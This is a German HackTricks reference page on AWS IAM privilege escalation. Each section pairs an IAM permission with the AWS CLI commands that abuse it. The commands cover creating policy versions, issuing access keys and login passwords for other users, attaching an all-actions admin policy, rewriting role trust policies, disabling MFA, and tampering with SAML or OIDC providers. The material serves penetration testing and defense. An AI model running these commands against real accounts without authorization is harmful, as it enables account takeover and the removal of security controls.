AWS - IAM Privesc

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

IAM

Für weitere Informationen zu IAM siehe:

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Ermöglicht das Erstellen einer neuen IAM-Richtlinienversion und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion, indem der --set-as-default-Flag verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.

Exploit-Befehl:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Auswirkung: Eskaliert direkt Berechtigungen, indem es jede Aktion auf jedem Ressourcen ermöglicht.

iam:SetDefaultPolicyVersion

Ermöglicht das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version und eskaliert möglicherweise Berechtigungen, wenn die neue Version mehr Berechtigungen hat.

Bash-Befehl:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Auswirkung: Indirekte Privilegieneskalation durch Aktivierung weiterer Berechtigungen.

iam:CreateAccessKey

Ermöglicht das Erstellen einer Zugriffsschlüssel-ID und eines geheimen Zugriffsschlüssels für einen anderen Benutzer, was zu potenzieller Privilegieneskalation führen kann.

Ausnutzung:

aws iam create-access-key --user-name <target_user>

Auswirkung: Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Erlaubt das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich des Festlegens von Passwörtern für den AWS-Konsolen-Login, was zu direkter Privilegieneskalation führt.

Ausnutzung für die Erstellung:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Ausnutzung für Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Auswirkung: Direkte Privilegieneskalation durch Anmeldung als "beliebiger" Benutzer.

iam:UpdateAccessKey

Ermöglicht das Aktivieren eines deaktivierten Zugriffsschlüssels, was potenziell zu unbefugtem Zugriff führen kann, wenn der Angreifer im Besitz des deaktivierten Schlüssels ist.

Ausnutzung:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Auswirkung: Direktes Privilegien-Eskalation durch Reaktivierung von Zugriffsschlüsseln.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Ermöglicht das Generieren oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces) und erbt die Berechtigungen des zugehörigen Benutzers.

Ausnutzung für die Erstellung:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Ausnutzung für Zurücksetzen:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Auswirkung: Direktes Privilegien-Eskalation innerhalb der Service-Berechtigungen des Benutzers.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Ermöglicht das Anhängen von Richtlinien an Benutzer oder Gruppen und eskaliert die Berechtigungen direkt durch Vererbung der Berechtigungen der angehängten Richtlinie.

Exploit für Benutzer:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Ausnutzung für Gruppe:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Auswirkung: Direkter Privilegienescalation zu allem, was die Richtlinie gewährt.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Erlaubt das Anhängen oder Hinzufügen von Richtlinien zu Rollen, Benutzern oder Gruppen und ermöglicht so eine direkte Privilegienerhöhung durch Gewährung zusätzlicher Berechtigungen.

Ausnutzung für Rolle:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Ausnutzung für Inline-Richtlinien:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Du kannst eine Richtlinie wie folgt verwenden:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Auswirkung: Direktes Privilegien-Eskalation durch Hinzufügen von Berechtigungen über Richtlinien.

iam:AddUserToGroup

Ermöglicht es, sich selbst einer IAM-Gruppe hinzuzufügen, um Privilegien zu eskalieren, indem man die Berechtigungen der Gruppe erbt.

Ausnutzung:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Auswirkung: Direktes Privilegien-Eskalation auf die Ebene der Berechtigungen der Gruppe.

iam:UpdateAssumeRolePolicy

Ermöglicht das Ändern des Annahme-Rollenrichtliniendokuments einer Rolle, was die Annahme der Rolle und ihrer zugehörigen Berechtigungen ermöglicht.

Ausnutzung:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Wo die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Auswirkung: Direktes Privilegien-Eskalation durch Übernahme der Berechtigungen eines beliebigen Roles.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Ermöglicht das Hochladen eines SSH-Public Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirekter Privilegien-Eskalation führen kann.

Exploit für das Hochladen von SSH-Schlüsseln:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Ausnutzung zur Deaktivierung der MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Auswirkung: Indirekte Privilegieneskalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.

iam:ResyncMFADevice

Ermöglicht die Neusynchronisierung eines MFA-Geräts, was potenziell zu einer indirekten Privilegieneskalation durch Manipulation des MFA-Schutzes führen kann.

Bash-Befehl:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Auswirkung: Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Mit diesen Berechtigungen können Sie die XML-Metadaten der SAML-Verbindung ändern. Anschließend könnten Sie die SAML-Föderation missbrauchen, um sich mit einer beliebigen Rolle anzumelden, der sie vertraut.

Beachten Sie, dass legitime Benutzer dies nicht können. Sie könnten jedoch das XML erhalten, es durch Ihr eigenes ersetzen, sich anmelden und die vorherigen Einstellungen wiederherstellen.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Ein Tool, das in der Lage ist, SAML-Metadaten zu generieren und sich mit einer spezifizierten Rolle anzumelden

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Unsicher) Wenn ein Angreifer diese Berechtigungen hat, könnte er einen neuen Thumbprint hinzufügen, um sich mit allen Rollen anzumelden, die dem Anbieter vertrauen.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated